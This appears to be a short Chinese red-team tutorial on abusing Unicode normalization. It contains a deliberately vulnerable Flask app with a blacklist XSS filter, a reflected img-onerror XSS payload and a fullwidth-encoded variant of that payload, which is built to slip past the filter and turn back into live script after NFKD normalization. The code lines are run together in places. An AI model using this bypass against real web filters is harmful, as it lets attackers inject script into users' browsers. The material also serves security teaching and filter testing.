利用unicode特性在红队中的应用

import unicodedatastring = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"print ('NFC: ' + unicodedata.normalize('NFC', string))print ('NFD: ' + unicodedata.normalize('NFD', string))print ('NFKC: ' + unicodedata.normalize('NFKC', string))print ('NFKD: ' + unicodedata.normalize('NFKD', string)

NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃NFKC: LeonishanNFKD: Leonishan

from flask import Flask, abort, requestimport unicodedatafrom waf import waf

app = Flask(__name__)



@app.route('/')def Welcome_name():  name = request.args.get('name')



  if waf(name):    abort(403, description="XSS Detected")  else:    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD    return 'Test XSS: ' + name

if __name__ == '__main__':  app.run(port=81)

def waf(input):    print(input)    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","",",".","/","?",";",":",""",""","<",">"]    vuln_detected = False    if any(string in input for string in blacklist):         vuln_detected = True    return vuln_detected

  GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E

GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5